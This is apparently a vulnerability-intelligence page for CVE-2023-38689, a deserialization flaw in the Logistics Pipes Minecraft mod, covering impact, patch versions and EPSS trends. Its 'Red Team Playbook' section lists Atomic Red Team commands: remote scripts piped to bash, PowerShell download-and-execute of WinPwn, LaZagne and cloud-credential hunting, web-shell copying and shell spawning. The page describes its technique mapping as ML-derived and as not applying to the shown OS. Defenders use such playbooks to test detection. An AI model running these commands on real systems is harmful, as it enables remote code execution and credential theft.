CVE-2023-38689
Overview
This vulnerability is an unsafe deserialization flaw (CWE-502) in the Logistics Pipes mod for Minecraft Java Edition. It arises from the use of Java's ObjectInputStream#readObject method on untrusted network data without proper validation. The affected component is the network IO code handling client-server communication in Logistics Pipes versions prior to 0.10.0.71.
Vulnerability Description
Logistics Pipes is a modification (a.k.a. mod) for the computer game Minecraft Java Edition. The mod used Java's `ObjectInputStream#readObject` on untrusted data coming from clients or servers over the network resulting in possible remote code execution when sending specifically crafted network packets after connecting. The affected versions were released between 2013 and 2016 and the issue (back then unknown) was fixed in 2016 by a refactoring of the network IO code. The issue is present in all Logistics Pipes versions ranged from 0.7.0.91 prior to 0.10.0.71, which were downloaded from different platforms summing up to multi-million downloads. For Minecraft version 1.7.10 the issue was fixed in build 0.10.0.71. Everybody on Minecraft 1.7.10 should check their version number of Logistics Pipes in their modlist and update, if the version number is smaller than 0.10.0.71. Any newer supported Minecraft version (like 1.12.2) never had a Logistics Pipes version with vulnerable code. The best available workaround for vulnerable versions is to play in singleplayer only or update to newer Minecraft versions and modpacks.
Impact
An unauthenticated remote attacker with network access can send specially crafted packets to a vulnerable Logistics Pipes instance, triggering arbitrary code execution on the host system. This can lead to full compromise of the Minecraft server or client running the affected mod version. The attack requires no user interaction and leverages network-level access (CVSS vector AV:N/AC:H/PR:N/UI:N). Consequences include unauthorized control over game environment and possible lateral movement within the hosting infrastructure.
Solution
Users should upgrade Logistics Pipes to version 0.10.0.71 or later for Minecraft 1.7.10, where the network IO code was refactored to eliminate the unsafe deserialization. For other Minecraft versions like 1.12.2, ensure mod versions are not vulnerable as they never contained the flaw. The official GitHub security advisory GHSA-mcp7-xf3v-25x3 and commits 39a90b8f2d1a2bcc512ec68c3e139f1dac07aa56 and 527c4f4fb028e9afab29d4e639935010ad7be9e7 provide detailed patch information. As a workaround, users can operate in singleplayer mode or update to newer Minecraft versions and modpacks.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in Logistics Pipes arises from the improper handling of untrusted data through Java's `ObjectInputStream#readObject` method. This flaw allows remote code execution when an attacker sends specially crafted network packets to a vulnerable client or server. The affected versions of the mod, ranging from 0.7.0.91 to 0.10.0.71, were released between 2013 and 2016, and the issue was not identified until a code refactor in 2016. The use of `ObjectInputStream` without adequate validation or sanitization of incoming data creates a significant risk, as it allows attackers to execute arbitrary code on the server or client that processes the malicious data.
Attack vectors for this vulnerability primarily involve a network-based approach, where an attacker must establish a connection with a vulnerable instance of Logistics Pipes. Once connected, the attacker can exploit the flaw by sending specifically crafted packets that the mod will process, leading to the execution of arbitrary code. Scenarios include an attacker joining a multiplayer server running an affected version of the mod or tricking a user into running a malicious client. Given the popularity of Minecraft and the widespread use of mods, this vulnerability poses a serious threat, particularly in multiplayer environments where untrusted players can connect.
The real-world impact of this vulnerability is substantial, especially for gaming communities that rely on mods to enhance their experience. The potential for remote code execution means that attackers could gain control over game servers, leading to data breaches, loss of player trust, and potential financial repercussions for server operators. Additionally, the mod's multi-million download count indicates a large number of users who may be unknowingly exposed to this risk. For businesses operating Minecraft servers or developing related products, the presence of this vulnerability could result in reputational damage and legal liabilities if user data is compromised.
To detect and mitigate this vulnerability, users should first verify their version of Logistics Pipes against the known vulnerable releases. Updating to version 0.10.0.71 or later is critical for those using Minecraft version 1.7.10, while users on newer supported versions should ensure they are using modpacks that do not include vulnerable code. For those unable to update, playing in singleplayer mode is a temporary workaround that can reduce exposure to potential attacks. Additionally, server administrators should implement strict access controls and monitor network traffic for unusual patterns that may indicate exploitation attempts.
In conclusion, the vulnerability in Logistics Pipes highlights the importance of secure coding practices, particularly in the context of networked applications. The ability to execute arbitrary code remotely poses a significant threat to both individual users and the broader gaming community. By prioritizing updates and employing robust detection and mitigation strategies, users can protect themselves from the risks associated with this vulnerability. As the landscape of cybersecurity continues to evolve, ongoing vigilance and proactive measures will be essential in safeguarding against similar threats in the future.
CSURFACE threat intelligence has identified a moderate increase in the Exploit Prediction Scoring System (EPSS) score for CVE-2023-38689, rising by approximately 31.5%. This upward adjustment, while not accompanied by new exploit samples or proof-of-concept releases, indicates a growing likelihood of exploitation attempts in the near term. Our telemetry shows the EPSS score now situates this vulnerability near the upper decile of predicted exploitability, reflecting heightened attacker interest or improved feasibility of exploitation. Although no active exploitation campaigns have been detected, the increased EPSS score signals that threat actors may be prioritizing this vector, potentially due to its critical severity and the longstanding presence of vulnerable versions in legacy environments. For defenders, this shift underscores the need for continued vigilance and reassessment of exposure, especially in networks where outdated versions of the Logistics Pipes mod remain operational. The risk posture for CVE-2023-38689 has thus escalated from a theoretical concern to a more imminent threat, warranting closer monitoring despite the absence of confirmed exploitation events.
Affected Products (1)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Rs485 | Logisticspipes | All |
cpe:2.3:a:rs485:logisticspipes:*:*:*:*:*:minecraft:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
0 eventsNo threat activity recorded for this CVE.
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-586 | Object Injection |
55%
|
Medium | High |
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (4)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2023-38689 |
| github.com |
GitHub CVE
x_refsource_CONFIRM
|
https://github.com/RS485/LogisticsPipes/security/advisories/GHSA-mcp7-xf3v-25x3 |
| github.com |
GitHub CVE
x_refsource_MISC
|
https://github.com/RS485/LogisticsPipes/commit/39a90b8f2d1a2bcc512ec68c3e139f1dac07aa56 |
| github.com |
GitHub CVE
x_refsource_MISC
|
https://github.com/RS485/LogisticsPipes/commit/527c4f4fb028e9afab29d4e639935010ad7be9e7 |